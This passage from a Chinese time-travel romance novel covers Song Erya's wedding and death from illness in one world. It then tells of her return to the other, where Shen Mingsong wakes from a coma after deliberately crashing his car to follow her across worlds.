宋尔雅睁开眼,也不意外他能猜到,怪只怪她以前话太多,给他透露出太多信息,她瞒不住的。 “我只是不想你死,穿过去后你就永远留在那边,回不来了。”她板着小脸,漂亮的眼珠子里没有往日的光彩,似乎下一秒就要哭了。 先前新闻的报道还残留在她脑海里,无一生存,找到的只有飞机残骸,那些遇难的人连尸骨都凑不起来。 这些天来她从头到脚都散发出浓烈的不安、恐惧,她怕他死了。 而现在他活下来了,却又该轮到她去面临未知的未来。 宋尔雅一直都是畏惧死亡的,不然不会那么乖的待在医院里,积极接受治疗。 “所以在你的世界里,你真的生病了?”沈明松抚摸着她的长发,发丝缠绕在手指。 “没有。” “尔尔,不是只有你会做奇怪的梦。” 这一刻,宋尔雅积压已久的情绪彻底爆发了,她抓起他手就狠狠咬上去。 沈明松绷紧着脸,感受不到疼痛一样任由她咬着虎口,一声不吭的,垂下的眼睫遮盖了他太多情绪。 最后还是她尝到了铁锈的味道,松了嘴,看到那深深的牙印气也没消,愤愤道:“我都不想告诉你了,你为什么还一直要问?” “是,我生病了,也活不长,你去到那边不仅会变老,明阿姨也会老,会死,然后接着是我,等我病死了你就等着孤独终老吧你。” 说完宋尔雅又感到莫大的悲哀,泪水决堤而出:“我不告诉你这些,是不想你留在那边不回来。” 可她没有后悔自己做过的决定,人在快死前会有预感的,能感觉得到自己身体要到极限了。 她不能太自私,把他留在那里等她病死后孤独过完后半生,她又太自私了,擅自做了这个决定。 沈明松擦着她眼泪,并没有让她不要哭,而是等着她发泄出来:“我过不去你那里,尔尔要怎么办呢?” “没关系的。”宋尔雅抹了下眼泪,甚至还能笑出来,“我能借用宋瑶身体活那么多年,还能和你一起长大,已经很幸运了,我不太能太贪心了对不对?” 也不知道是在安慰他,还是在安慰自己。 沈明松目光久久凝视着她。 2月8号过后,宋尔雅开始陷入沉睡。 第74章 第 74 章 宋尔雅以为这次…… 宋尔雅以为这次不会再穿越了而是直接死去, 或者是会回到十六岁那年,如同那个梦那般,没能等到沈明松穿越来拯救她而死。 但她没想到她还能回到2026年。 她在椰城的小别野里苏醒过来, 窗外灰蒙蒙的,天边是暗暗的蓝,院子外的树在风雨里左右摇摆, 雨珠纷乱地砸进海面里。 房子隔音效果做得很好,几乎听不到什么声响, 屋内一片平和, 空气净化器在静静地工作着。 宋尔雅发了一会呆后才打开房门走出去,整栋小别野安安静静的, 她一间间地开门, 都没有看见任何人。 “尔尔。”沈明松从客厅那边楼梯上来, 穿着家居服, 头发散下来,看起来刚洗过澡。 宋尔雅凝望着他, 迟迟没有扑过去,等他主动走过来才试探性的喊:“哥哥?” “嗯。”沈明松应声, 一手将她抱起来, “怎么不穿鞋?” 他的动作很亲昵, 他的反应如常。 “你、你、你……”宋尔雅激动又结巴起来,“你不是没穿越吗, 怎么还会在这里?” 脑海中的记忆并没有改变,她抬手就能看见无名指上钻戒。 她十六岁那年依旧等到了沈明松, 在二十二岁这一年嫁给了他。 沈明松似乎在回想很多年前的事,想了许久,才说:“自你昏迷后, 我睡了一觉,就穿过了。” 宋尔雅愣住,也是啊,她经常睡着就穿了,谁说他一定要死才能穿呢?命运还是按着轨迹走了。 老天耍我! 沈明松眉眼温柔,抱着她走下楼梯把她放沙发上:“煮了些海参菌菇汤,要喝一点吗?” 宋尔雅哪有什么心情喝汤,她在这边还能见到他,心情五味杂陈,既高兴又不高兴。 她伸手抚摸着沈明松的脸,他则一瞬不瞬地望着她。 沈明松握着她的手:“尔尔,不要想这么多,一切顺应自然就好,哥哥会一直陪你的,去哪儿都陪着。” 宋尔雅茫然:“那以后呢,我不在了你怎么办?” 沈明松:“那是以后的事。” ~ 而另一个世界里。 宋芳才处理好爷爷奶奶后事,还没能喘口气,妹妹又被送进医院。 和上次一样,睡着了就醒不过来,医生也检查不出来什么毛病来。 宋芳用湿毛巾擦擦妹妹失去血色的脸,人看起来像是睡着了,却怎么都喊不醒,连呼吸都是微弱的。 “也不知道我妹妹这是什么毛病。”宋芳心事重重,难不成是医学上还未发现的怪病? 孟非凡走过来,也看不出来什么:“要不去北城大医院检查,我去联系朋友,看看能不能安排上。” “行。” “你妹妹那个男朋友,怎么不见他人?” “明松去送姑姑他们去机场了。”宋芳看了一眼手表,也是奇怪起来,送个人怎么去了那么久? 宋芳想了想,给他打去电话,却迟迟没有接通。 她便越发疑惑,心里说不清地不安,连孟非凡说什么都没听见。 下午她便接到了沈明松的来电,说话人却自称警察,问她是沈明松姐姐不,他出了车祸被送往医院,请她过去一趟。 医院就是宋芳现在待着的医院。 她跑上了两层楼,就找到了给她打电话的警察,他们看到她便询问她身份。 “我算是他姐姐,明松他怎么了?”宋芳看到他们警服上沾到了好些血,“警察同志,这是什么回事?” 警察说:“你弟弟疑似自杀,驱车至郊外超速行驶撞树上了。” “自杀?” 宋芳都没反应过来,医生从手术室里出来:“家属来了没有,患者腹腔内出血,需要尽快做手术,家属来签下字。” 明珠目前还在海都肯定是赶不过来的,宋芳接过手术风险告知书,没多想就签了。 签完后,宋芳才想起沈明松离开前给了她一个文件袋,让妹妹醒来就给她看,醒不过来就她自己看。 他还说了句让人摸不清头脑的话。 “芳姐,如果可以的话,拜托??x?你帮我照顾好我妈。” 说得像离别似的,妹妹大年三十那会儿也给过她同样的感觉。 而现在警察就说他疑似自杀了。 宋芳推推身旁男友:“你去我包里拿那个文件袋出来。 …… 在手术期间,宋芳一句句看完了那些文件,是沈明松名下财产清单和遗嘱。 表明他去世后这些财产一半由明珠继承,一半交给宋瑶,若宋瑶去世,则由宋芳继承。 那些东西,足够他们衣食无忧的过完一辈子,和他之前的承诺对上了。 宋芳想明白后跳脚大骂:“我妹妹还没死呢,这傻小子殉个屁的情!” ~ 宋尔雅的婚礼订在了六月里,几乎是她生日领证那天沈明松就着手去安排了,时间非常赶。 他们没有那么多时间能等了。 她也查过白血病患者末期表现,说有可能会浑身剧痛、内出血、七窍流血等吓人的说法。 许是老天垂爱,这些症状都没有再她身上出现过,精神比她在医院待着的时候都要好。 两人默契的不再讨论生死问题,她每天都能出门溜达溜达,去海边散散步,拍拍照。 沈明松夸张的要死,把她的照片洗出来挂满家里,希望别人进来就知道家里女主人是谁了。 日子和之前一样轻松快乐。 她并不想把婚礼大办,叫媒体大肆宣扬,不想听世俗的不认可或是别的,两人都没了父母也没什么亲戚,只通知了朋友们。 每一张婚帖都是沈明松手写的,他的字刚劲有力,一笔一划都非常漂亮。 宋尔雅就趴在他背上搂着他脖子,不太安分,不是在他耳边吹气,就是在他后背上用手指画画。 沈明松被她身体一颤又一颤的抖,最后气急了抓着她到前面来按腿上,抓着她手两人一起写。 写完了,宋尔雅跑回房间鼓捣了一会儿,又跑了出来:“老公,结婚那天我戴这顶假发怎么样?” 海藻似的假发垂至腰间,像春天里的艳阳明月,像藏在森林中的精灵公主。 沈明松呆了十几秒:“叫我什么。” “老公呀。”她转了个圈给他展示假发的真实感,“你喜欢听的话,我就多叫几声。” 沈明松看着她长不大的模样失笑。 等婚礼那天,朋友们来当伴娘。 宋尔雅很感动:“我还以为你们会骂我的。” “骂不骂你,你都不会改变自己决定,你向来如此不是吗,我们能说你什么?” 宋尔雅:“叔叔对我很好的,我不觉得这是错误决定。” 这个朋友无法反驳,他们笑盈盈的,眼底藏着泪光:“无所谓了,你能幸福最好。” 段西瑞来看她两眼,咬牙切齿骂道:“你这个疯子,你还真结婚啊!” 宋尔雅挨个给朋友打电话,说自己大概活不了多久了,死前要结个婚,都不准不来哈,不然以后都见不到面了。 只有段西瑞以为她开玩笑的,骂她又发什么疯,和自己叔叔谈恋爱就算了,怎么还结上婚了?又怎么说活不久了? 可是他的眼眶红了,他只是不愿意去相信。 宋尔雅拍拍他肩膀:“今天姐姐大喜日子,敢哭小心我赶你出去。” 段西瑞便挤出个笑脸来。 来的宾客还是挺多的,宋尔雅看到了他们神色各异表情,林海是最开心那个,老了也一股土匪味,笑呵呵的喊她弟妹。 他一喊,同桌的人表情就更好笑了,他们这一圈有的头发都白了,也得跟着林海喊,林海儿子怀里还抱着个小姑娘,小姑娘喊她二奶奶好。 沈明松脸色变了变,倒是宋尔雅美滋滋的,辈分超级加倍了。 章雪得表情也很怪异,大概是儿子认的姐姐嫁给自己朋友的那种离谱吧,看沈明松眼神里带着谴责。 不过她知道,宋尔雅身体不好,快不行了,举办这场婚礼或许是她临终前的愿望。 宋尔雅没看到陶冬冬,她和家里断了关系后真的不回来了。 宾客里看好不看好的都有,倒也没有人说什么,途中听说郑嘉明也来了,闹着要进来。 宋尔雅没有原谅过他,至死也不想见他一面,也不在乎他找自己究竟有什么事,让人把他叉出去。 婚礼仪式从简,她体力完成不了那么多繁琐程序,但也很顺利的举行了最重要的宣誓,交换戒指步骤,最后是沈明松掀开她的头纱亲吻她。 浪漫灯光,掌声阵阵,她想这样就很幸福了。 婚礼结束后她累得躺床上起不来,沈明松给她拆掉身上的首饰,给她把妆卸了,然后抱着她放进温暖的浴缸中。 宋尔雅懒洋洋地坐在热水里,还是不想动:“哥哥帮我。” 沈明松捏捏她鼻子:“惯得你。” 他只象征性地喝了一点酒,身上的酒味早就散了,取代的是消毒水的味道,他拧干毛巾去擦她的脸上的水珠, 他不能在身上留下过多气味,也要保持她的清洁,毛巾擦拭过她肌肤,他眼底没有任何欲望。 宋尔雅抿抿唇。 洗完后沈明松抱着她出去,给她换上睡衣,又吹干头发,把房间里所有东西都检查了,垃圾桶也是干净的,才打算离开。 哪怕是两人挑明了、结婚了,也都是分房睡的,他生怕自己携带什么细菌感染到她。 偶尔她死皮赖脸时,他才会留下,可能哄着她睡着后就离开了,因为每次醒来旁边都是空的。 宋尔雅叹气,想念以前可以对他又挠又咬的时候。 她拉住他:“不准走,陪我。” 今天的沈明松格外好说话,她一开口便答应了:“我先去洗个澡。” 宋尔雅这才松开放他出去。 她拉开抽屉拿出老旧的相机,却发现坏了,怎么按都没反应,她的记忆卡拔出来塞电脑里,电脑也读取不出来。 她去找其他有关系那个世界的东西,果不其然,都消失了。等她再回头,相机也消失。 仿佛是那个世界在和自己告别。 宋尔雅翻身下床,跑到沈明松房间里没看到人,心里正慌的时候,他擦着头发从浴室出来。 沈明松眼神询问:“怎么了?” “你这么久不来,我以为你骗我偷偷回自己房间了。” 其实她是怕他也会消失。 沈明松把毛巾盖脸上,发出闷闷的笑声:“怎么就那么黏人啊,这才多久?” 宋尔雅走过去抱他窄窄的腰身:“不管,你以后都要陪着我,哪儿都不许去。” “好。” 宋尔雅如愿的抱着他睡觉,趴在他胸口上,听着他心跳渐渐入梦。 沈明松看着窗外的月光,恍惚想起那年把车速提高那一刻,他只想着自己不能再她生命中缺失,打着方向盘就往树上撞。 她没撒谎,他果然能来到她的世界,从她十六到二十二,他看着她慢慢长大,最后还成为了自己妻子。 他低头亲亲怀里的妻子发顶。 …… 宋尔雅在发现自己浑身无力,连床都起不来后就意识到时间不多了,她反反复复的发烧,没想象中痛苦,也好受不到哪里去,整天浑浑噩噩的,听不清沈明松再和自己说什么。 一天,沈明松把她从床上抱起来,低声和她说话:“天亮了,我们去看日出。” 宋尔雅感觉自己被抱着走了很远,渐渐听到了大海的呼吸声,海潮击拍上岸,天将醒未醒。 从四点等到了五点半,天边厚厚的云层终于冒出了小小一片晨光,很快,那光就像山林的火源,迅猛蔓延至整片天,连同波光粼粼的海面也染成炽热的火海。 “太阳出来了,快录下来。” “快拍快拍,贼出片了。” 有人在耳边开心的尖叫,有人轻柔地碰碰她的脸:“尔尔,睁眼看一下。” 纤长的睫毛动了动,宋尔雅感受到晨光落到了自己脸上。但她说不出话来,只能虚弱地抓住身边人的手,她看不见了。 沈明松仿佛知道她会说什么,轻轻抱着她,脸贴着她脸的感受着她的温度,至到她呼吸停止。 听觉没有那么快消失,她听到了他撕裂的呼吸声。 有一游客拍完日出,心满意足地收好装备准备折返,看到身旁的那对情侣,女生还躺在男的怀里甜甜酣睡,看来是错过了这场日出。 游客幸灾乐祸:“兄弟你要死了,太阳都出来你还不把你女朋友叫醒,她醒来后不得挠死你。” 沈明松没说话,轻轻蹭着怀里妻子柔软的脸颊,心脏被刀刃插进去搅拌成一团模糊的血水,痛苦从他眼睛里逃窜出来。 第75章 第 75 章 宋尔雅在她22…… 宋尔雅在她22岁这一年离世, 从呼吸至心跳,视觉到听觉全部都消失了,世界陷入??x?一片死寂, 仿若陷入虚无中,连黑暗都看不见。 真正死亡是这种感受的吗? 为什么她还有意识呢? 为什么……她还她听到了海浪翻滚的声音? 虚无中坠入了一束微弱的光。 胸腔里的心脏剧烈地跳动起来。 身体猛地一个抽搐,她睁开了眼, 看到一片纯白。 宋芳探着脑袋闯入视线里:“醒了?医生,去叫医生, 我妹妹醒了。” 宋尔雅迟钝而茫然地看了她很久很久:“妈妈, 你来接我了吗?” 用毛巾擦掉妹妹眼角泪水:“睡糊涂了?” 宋尔雅愣神了好久好久,呆呆地问:“今天是几月几号?” “2月11。” 她挣扎着坐起来:“哥哥呢, 哥哥在哪里?” “急什么, 明松在隔壁睡觉。”宋芳说。 宋尔雅猛然掀开被子, 拔掉手背上的针, 连鞋子都来不及穿,跌跌撞撞地往隔壁病房跑去, 怕慢了一步,迟了一秒, 一切都如场梦那样醒过来。 她推开病房, 坐在床上的病人, 来探望的家属都转过来一张张陌生的脸,好奇地看过来。 明珠缓过转身, 看到她诧异了一秒,随后露出笑容:“瑶瑶, 你醒了。” 宋尔雅一阵风地冲到她身边,着急去看明珠边上病床躺的人,沈明松闭着双眼像是睡着了, 额头缠上一圈纱布。 她激动,又颤抖地伸出手指去触碰他脸上小擦伤,戳了又戳:“哥哥,你还活着对吗?你快点醒过来。” 明珠抓住她的手,无奈道:“瑶瑶,明松可能麻醉还没过呢,让他再睡一会。” 沈明松眉心蹙了一下,睫毛也跟着颤抖。 但他没有醒。 三月份的椰城,初初有了夏天的影子,院子里的荔枝树开始冒出了簇蔟白色花岁。 隔壁院子那对双胞胎又长大了些,还是很调皮,大清早就开始叽叽喳喳,吵着不要去上学。 关于宋国梁的判决没有那么快下来,但应该是和记忆一样被判了12年,宋尔雅不关心这个舅舅,连问都没问过。宋芳和姑姑处理好这边的事就回深市了。 寒假时间很短,过完十五就得收假回去。宋尔雅向学校那边递交了休学申请,她来来回回去医院折腾过好几次,而沈明松也确实出了车祸至今昏迷未醒,学校也没理由不给他们通过。 宋尔雅不肯回海都上学,坚持要和明珠留在椰城医院里等沈明松回来。 宋芳是有些生气她这样耽误学业的,但又想到沈明松出事前交给自己的遗嘱,便也不多说什么了,他还是值得妹妹稍微耽误一下学习的,也就由着妹妹了。 宋尔雅把草莓一颗颗洗干净,榨成汁装进杯子里,然后锁了院门和明珠一起出门。她在这边还没有驾照,只能坐公交前往医院。 明珠一进到病房就率先走过去,问了一旁护工情况,又把病床上的儿子看了又看,用棉签沾水润润他唇。 沈明松昏迷一个多星期,脸上细微的伤口都结痂快脱落了,他也没醒过来。 明珠着急得不行:“瑶瑶,你说明松怎么还没醒过来。” “会醒过来的,医生说了哥哥没什么大事,阿姨你不要着急。”宋尔雅安慰她。 医生说,沈明松的伤势不算很严重,修养半个月就差不多了,可是他一直都没有醒过来。 明珠不可能不着急,以为儿子成植物人了,可医生再三检查,并未发现脑死亡,也纳闷他这种情况,还在开会讨论呢。 只有宋尔雅清楚是什么原因,他大概是穿去另一个时空还没有回来。 宋尔雅还猜测是他灵魂还存在的缘故,他的身体也就没出现死亡状态,所以她凭着直觉认为他是能穿回来的。 但,这种事情上谁也无法百分百确定。 她看着病床上一直沉睡的他,一天天过去了,也体验到了他每次等她穿回来的心情,焦急又无能为力,唯一能做的就是安抚明珠,以及内心企求他快回来。 待到医生来找家属把明珠叫走后,宋尔雅把草莓汁通过针管一点点推进鼻饲管里,趴在病床上和他说话:“哥哥,今天的草莓又红又大,保证甜甜的。” 此时的沈明松没有醒着时的那股凶劲,安安静静地,似乎也在倾听着她说话。 “你什么时候才能醒过来呢,我有好多话想和说,好多问题要问你。”宋尔雅几乎是趴在沈明松耳边,声音小小的说着只有两人知道的秘密。 “你为什么那么聪明,什么都可以猜到,又为什么要自杀呢,要是真死了没有穿越怎么办,你真的不害怕死亡吗?” 她穿回来后,宋芳告诉她沈明松疑似自杀——在荒无人烟的路上将车速提到最高撞向树,不是自杀是什么。好在他的车安全设施做到位,气囊弹出来救了人一命。 宋芳问她:“他究竟怎么了,到底有什么想不开的?怎么好立遗嘱了?” 宋尔雅听完后不知该以何种言语描述自己心情,是感动还是气愤? 沈明松不是自杀,而是想去到另一个时空。或许在她取消他飞机航班时,他已经猜测到那场事故是通往未来的通道,被她取消了,于是他就自己制造一场。 当时她瞒着他不让知道,同样,他也在瞒着她他已经猜到了,他不清楚自己车祸过后时什么样的后果,穷思竭虑后,他找到律师立下遗嘱分割自己名下财产,还考虑过她或许还能穿来这个世界,给她留了不少财产,足够她后半生富足的生活,却把自己排除在外。 沈明松明显做好了最坏的结果,无非是他死亡。 他把车速加到最高,就是一场孤注一掷的赌博,哪怕会输得个精光,也心甘情愿地赌上性命。 哪怕他不说,宋尔雅也永远能感受到,获取到他暴烈的爱意。 “可是哥哥,你为什么还不醒呢?” 她把脸埋进他大手里,泪水从指缝流淌出来。 ~ 宋尔雅每天都去医院看沈明松,和他说话,她能自言自语上一天,要么给他念书,说到不知道说什么了,就开始讲起自己小时候的糗事。 比如暑假闲着没事带邻居家大狗狗去玩,把狗狗当马骑,然后被带着掉进小区池塘里,狗狗气急败坏下咬了她一口。然后打完狂犬疫苗后,她还要被宋芳打,更是喜提一个暑假补习大礼包。 在家里玩羽毛球把电视机打碎,被宋芳打,后面苦苦哀求了好久,家里才拥有第二个电视机。 在墙上乱涂乱画后嘴硬说是艺术创作,被宋芳打,为了惩罚她,宋芳唯独不给她房间墙面重新刷漆,一直保持那些丑画。 等再长大一点懂事了,她终于不再经常被妈妈揍了,但有一回她带着相机去参加夏令营,结果在河边和同学打闹时把相机摔河里。 那回没有被宋芳打了,而是在她已经有英语补习班的基础上,又给她报名了德语。报名费刚好和相机费用差不多。 "妈妈说,我再浪费一个相机钱,就把我送去工厂流水线干最苦的活,打工赚回来,我当时可害怕了,学得特别认真,没想学了之反而激发我兴趣,我以前还想长大后做翻译官的。" 她喋喋不休的,好像这样就能把沈明松吵醒。 可即使她把自己黑历史都尽数倒出来,沈明松也没有给予她任何回应。她没法子了,说累了就轻轻地哼起了歌,吵得护工耳朵也疼了,就算是明珠,也忍不住和护工一起出去出去喘口气,拯救一下可怜的耳朵, 说得多了,宋尔雅嘴巴也干,喝口水又继续。 “哥哥,你是睡美人吗?怎么睡了那么久?” “我亲你一下你能醒过来吗?” “哥哥是大懒猪。” 宋尔雅天天抱着童话里的美好幻想背着人偷偷亲他,要是真的能亲一下能让他苏醒就好了。 然而并没有。 小半月过去了,椰城都下了好几场淅淅沥沥的春雨了,医院楼下的花园里植物沐浴在雨水下依旧生机勃勃。 宋尔雅愈发急躁,偷偷去扒沈明松眼皮,摇晃他:“醒来嘛醒来嘛。哥哥?叔叔?求你了。” 沈明松睫毛颤了颤,和之前一样,怎么都喊不醒。 一阵风从窗口吹进来,裹挟着丝丝冰凉的春雨,宋尔雅又赶忙站起来去把窗户关紧。 忽然,她感觉一股奇妙的感觉,令她不由自主地兴奋,激动,她的心跳得特别快。 似乎有什么事要发生了,她一时不敢回头了,直到听到了一声咳嗽声。 宋尔雅猛然回头,撞上一双黑峻峻的眼眸。 沈明松手搭在床沿上,微微撑起身体望向她??x?,声音沙哑得不行:“尔尔?” 宋尔雅激动得一时说不出来,还是明珠推门进来看到儿子醒了,又惊又喜地喊来医生。 医生很快过来给沈明松检查身体,问他问题,他脑袋上的伤口已经拆了纱布,只剩一道几厘米长的缝合疤痕。 太久没说话了,坐起来声音沙哑地着回答医生问题,眼睛一直寻找着宋尔雅的身影,仿佛她下一秒就要消失不见一样,死死紧盯着。 宋尔雅和他对视,千言万语凝结在喉。 沈明松身体素质强悍,身上的伤都愈合得不错,躺了那么久也只是消瘦了许多,医生走后明珠抱着他又哭又笑好一会儿,又擦掉脸上泪水,意识到小情侣肯定有很多话要说,就把独处空间留给他们。 几乎是明珠刚踏出房门,宋尔雅快步窜到沈明松那边去,满肚子的委屈洪流般倾泄出来:“哥哥,你终于醒了,你怎么睡了这么久啊,你……” 话未说完就被沈明松紧紧拥进怀中,颤抖的大手不停抚摸着她的脑袋后背,又捏捏她的脸,像在确认她是否真实存在。 他又用脸贴着她额头,感受她的温度,还用手去探她鼻息。 宋尔雅乖乖让他抱着:“哥哥,我还活着呢,我在那边死后,又回到了这里,我以为我再也回不来了呢。” 沈明松:“嗯。” 宋尔雅感受着他炙热的怀抱,被勒得太紧都快镶嵌进去和他融为一体,两颗心脏凑在一起跳动。 她等了半分钟都没等到任何言语,忍不住问:“哥哥,你是怎么回来的?” “你离开后没多久。”沈明松下巴抵她发顶上,似乎还亲了亲她。 “那你为什么睡了那么久?怎么都不醒,我等得好绝望,我好害怕你回不来,你在那边发生了什么吗?”宋尔雅捕捉到他的避轻就重,怀疑他又瞒了自己什么,从他怀里挣扎出来,抬头看到他时,顿时忘记了要说的话。 沈明松那墨色的眼眸里蕴含着好多好多情感,是失而复得的狂喜和炙热的爱意,如一锅沸水要翻腾出来。 宋尔雅震撼于如此浓烈的情绪会从他眼底流露出来,竟叫她犹如仰头望天被强烈的日光灼伤,眼眶发热模糊:“哥哥,你怎么这样看着我?” 沈明松抬手抚摸她脸庞,大拇指给她擦掉眼尾泪珠:“没什么,还能看到你,很好。” 宋尔雅又破涕为笑。《 》 【终章】 第76章 第 76 章 明珠…… 明珠的大学老师是位挺有名的设计师, 她目前在人家工作室实习。 其实明珠这个年纪已经很难找工作了,但她老师看她天赋惊人,一直手把手教她, 知道她儿子出事还给放了长假。 沈明松出院后,明珠就回海都了,宋尔雅还不想回那么快, 反正都休学了,不如多玩一段时间。 他们在沈家小院子住下来, 隔壁双胞胎一如既往的闹腾, 但沈明松回来后他们见人就跑。 宋尔雅被沈明松伺候了那么久,现在他伤还未完全好透, 也该轮到她干活了。 她买了只家养老母鸡回来炖汤, 可她依旧没有学会杀鸡。 沈明松大清早被鸡叫声吵醒, 从屋内走出来看到她抓着母鸡翅膀一副杀心很强又害怕的模样, 脸色忽变大步迈过去抢过鸡丢开,还用脚赶得远远 他沉声呵斥:“你捉鸡做什么, 它们身上多少细菌你不知道!” 宋尔雅都给他骂懵了。 沈明松拂开她头上沾到的鸡毛,把她拉到水龙头前给她洗手, 还那湿毛巾把她脸也擦了, 整个过程一言不发。 宋尔雅后知后觉:“哥哥, 我已经不生病了,不用这么忌讳。” 沈明松眼皮一动, 似乎也意识到自己过激行为,好半天才道:“那也不能乱碰, 脏。” 最后,那只鸡还是死在沈明松手里,或许是太久没有杀鸡, 他手法生疏,却还是习惯留下两个完整鸡腿,都是宋尔雅的。 在椰城老家里用的还是多年前的灶具,烤蜂窝煤生火煮东西, 宋尔雅蹲在旁边看他生火,和他说话:“哥哥,我感觉过去了好多好多年,不知为什么我最近会觉得,我要永远成为宋瑶了。” 沈明松偏过头,目光温柔地直视她,微微弯唇:“成为宋瑶不好吗?” 宋尔雅:“那你觉得我们还会穿回到2026吗?” “不会。” “你为什么这么肯定?” “你回不去了。”沈明松看向锅里燃烧出来的白色蒸汽,淡淡说,“你的身体被火化了。” 宋尔雅微微张嘴,惆然若失,但也没有很难过自己真正的身体已经没了,还开玩笑:“为什么火化我呀,说不定放放,过段时间我又穿回去了,你把我烧了我还怎么回去。” 沈明松没说话。 宋尔雅盯了他一分钟,方才故作轻松的姿态又没有了,担忧地问:“那你呢,为什么也回不去了,你在那边也去世了吗?” “嗯。”沈明松点头。 “哥哥为什么也去世了,是老死吗?” 如果是这样,那他得在那边独自待了多少年,才回到这边? 看到她眼里的哀伤和心疼氤氲成水汽,下一秒就要掉下来了,沈明松抿抿唇,轻轻摇头:“没有,在你离开后不久,我就去世了。” 宋尔雅眨眨眼,把眼泪弄出来。 “睡前忘记吃降压药了,半夜心梗没了。”沈明松帮她擦掉泪水。 宋尔雅着急又有些生气道:“你怎么能忘记吃药!怎么高血压也会死人?” 有时她会想,是不是因为他长期紧张她的病情,殚精竭力下给形成的,所以在那边他才四十六岁就得高血压。 沈明松轻轻拍她脸:“别想那么多,能死掉我很开心。” 宋尔雅呆呆望他。 “至少能回到这边不是吗?” 他在那边度过了六年多,在这里不过是睡了小半个月而已。像宋尔雅无论穿到宋瑶身体里过去了多少年,回到自己真正身体时,时间也没流失掉多少。 宋尔雅又扯出一抹笑容来:“那倒也是,我都没想过我们还能回到这里来,我还以为我死定了。” 她往他那边挪挪,忽尔想起当初她第一次穿来这边,沈明松当时才十六岁,面对粘人的她可嫌弃了,还把她当狗一样给栓起来。 她捧起他脸亲了一口。 沈明松偏了一下头,亲到他下巴去了。 宋尔雅瞪圆眼睛:“哥哥你躲我?” 沈明松又把脸偏回来,欲言又止,最后微微叹气:“矜持一点。” “可是你明明很喜欢我的不矜持。”很多时候沈明松不会说什么,但身体的反应很真实,尤其是她坐他上面时,明显能感觉到他的颤抖。 宋尔雅面对自己喜欢的事物,不仅十分主动还很热情的,在面对沈明松时更是直接索取,压根不讲道理。 她又凑上亲了一下他嘴角,眼睛水润水润的:“我就是要亲你,哥哥能怎么办,拒绝我?” 沈明松闭了闭眼睛,深呼吸了好几次平复心情,笑了:“我究竟是做错了什么,把你养成这个样子的?” “不用你教,我本来就是这个样子的。”宋尔雅说,“我喜欢我这样。” 沈明松揉揉她脑袋。 鸡汤炖好久才入味,在开饭前沈明松还先舀了一碗让宋尔雅先垫肚子。 她搬张小板凳坐在门口,隔壁双胞胎带着他们家的小土狗出门,看见她很高兴,却又看见沈明松在院子后不敢过来了。 远远站着,一副想找“宋瑶姐姐玩,但她家里那个哥哥好凶”的畏惧模样。 小土狗倒是不怕人,看见她手里有鸡腿,谄媚地跑过来摇晃尾巴,想讨根骨头吃。 宋尔雅干脆把鸡腿钓在它跟前。 小土狗刚出窝,毛茸茸胖嘟嘟的一小只特别可爱,眼看它踮起脚就要够到鸡腿了,宋尔雅又抬高了一下手臂。 小土狗嘤嘤几声,前爪抬起来扒拉她腿上,继续去够鸡腿,她碰碰它鼻子,又抬高了。 如此几次之后,小土狗也被逗急眼了,冲她汪汪叫,还气鼓鼓地跺脚。 宋尔雅哈哈大笑,这才喂给它。 沈明松突然冒出来呵斥她:“不要玩狗!” 小土狗一抬头看他高大的身形,吓得尾巴一夹,赶紧叼着鸡腿跑了。 真是奇怪,明明沈明松也没对他们做什么,但小孩子就是会莫名怕他,连狗也不列外。 沈明松不知道她在想什么,继续骂她:“忘记小时候被狗咬了,怎么就不长记性。” “你??x?怎么知道的?”宋尔雅诧异抬头,这些糗事她只在他昏迷时说过,“你昏迷了也能听到我说话?” 沈明松挑了一下眉,算是默认了。 “你真听到了?”宋尔雅追问。 沈明松:“听到了,你小时候为什么要去骑狗?” “因为我没有马骑。” “……”沈明松想不懂这两者关联,脑海浮现出一个小小女孩的模样,“你小时候真够皮的,隔壁那两小孩都比不过你。” 宋尔雅歪头认真地想了想,如果她小时候就和沈明松认识,肯定也不会怕他,只会觉得他个子高高,想坐他肩膀上骑大马。 她就记得幼儿园有个同学每天就能骑着爸爸肩膀去上学,把她羡慕坏了,可郑嘉明就是不让她骑,觉得那样很丢人。哪怕她哭也不给,还教育她女孩子要安静乖巧文雅,不能像男孩子一样皮。 宋尔雅没得到自己想要的,就哭得更大声了,把宋芳招来骂了郑嘉明一顿,他才勉为其难让宋尔雅体验一下。 但宋尔雅天性就是得寸进尺,她让郑嘉明趴在地上模仿领居家的大狗狗,让她骑着绕屋子一圈当大将军,过瘾了,她才心满意足地去睡觉。 后来她想体验第二次时,郑嘉明不惯着她了,她只好去和狗狗玩,被咬后宋芳可生气了,揍了她之后又怒骂郑嘉明在家为什么不好好看孩子让她乱跑。 郑嘉明也觉得委屈,他忙着跟进导师导师项目哪有空管小孩,两人大吵过后,他决定逼宋尔雅当个乖小孩,可惜宋尔雅从来都是管不住,她乖不了。 也许郑嘉明对她的讨厌就是一点一点积累起来的,所以他后来不爱她了。 宋尔雅问:“哥哥,我可以骑你头上吗?” 沈明松:“为什么要骑我头上。” 宋尔雅:“因为我要作威作福。” “不准。” “准嘛准嘛。”宋尔雅笑嘻嘻地扑上他背,双手吊在他脖子,完全就是甩赖皮模样。 沈明松这一次却不会再把她拴树上了,也不会因为她的吵闹而烦躁,心生怨气。 春日温柔,荔枝树开满了花苞,想必夏天来临时,又是一树果实。 ~ 林海和他小弟们在沈明松昏迷期间就来看望过他好几次,得知弟弟醒了自然要庆祝一下,他包下大酒楼大办,还放了数挂鞭炮。 宋尔雅跟着过去,还以为会面对一场像港片里各方大佬带着自家小老弟汇聚一起,一言不合就掀开桌子拿出大砍刀的经常场面。 她还在林海旁边看见个抽雪茄的中年男子,便是坑宋国梁的赌场老板,整场笑眯眯地,不见得多凶恶。但宋尔雅猜测,这人做过最善良的事大概是把宋国梁手指剁了。 结果整场宴席下来大家都很和睦,吹牛的吹牛,谈生意的谈生意,近几年国家大力扫荡黑暗势力,好多大佬都金盆洗手了。 沈明松帮忙解决完宋国梁的时候,他大伯沈向国和林桂花也放低姿态来求过沈明松,也救一救他堂哥沈路桦。 赌场的人经常去砸沈大伯家逼他们拿钱,每次都少不了一顿殴打,老两口骨头都被打散了,那些人却又没来找过沈明松麻烦让他替人还钱。 宋尔雅想沈大伯不会有一天也步入宋家老太太他们后尘吧。 当年明珠车祸残疾又失去丈夫,他们一家来争夺财产还编排一个寡妇,沈明松不主动报复他大伯都是他心慈手软。 他自然是旁观者,赌场老板走过来和他说话时,他还给人敬酒。 赌场老板打量了一番宋尔雅,叫她弟妹。 在那个未发生的梦境里,就是这人手下绑了她和宋芳,害沈明松坐上了那架飞机。 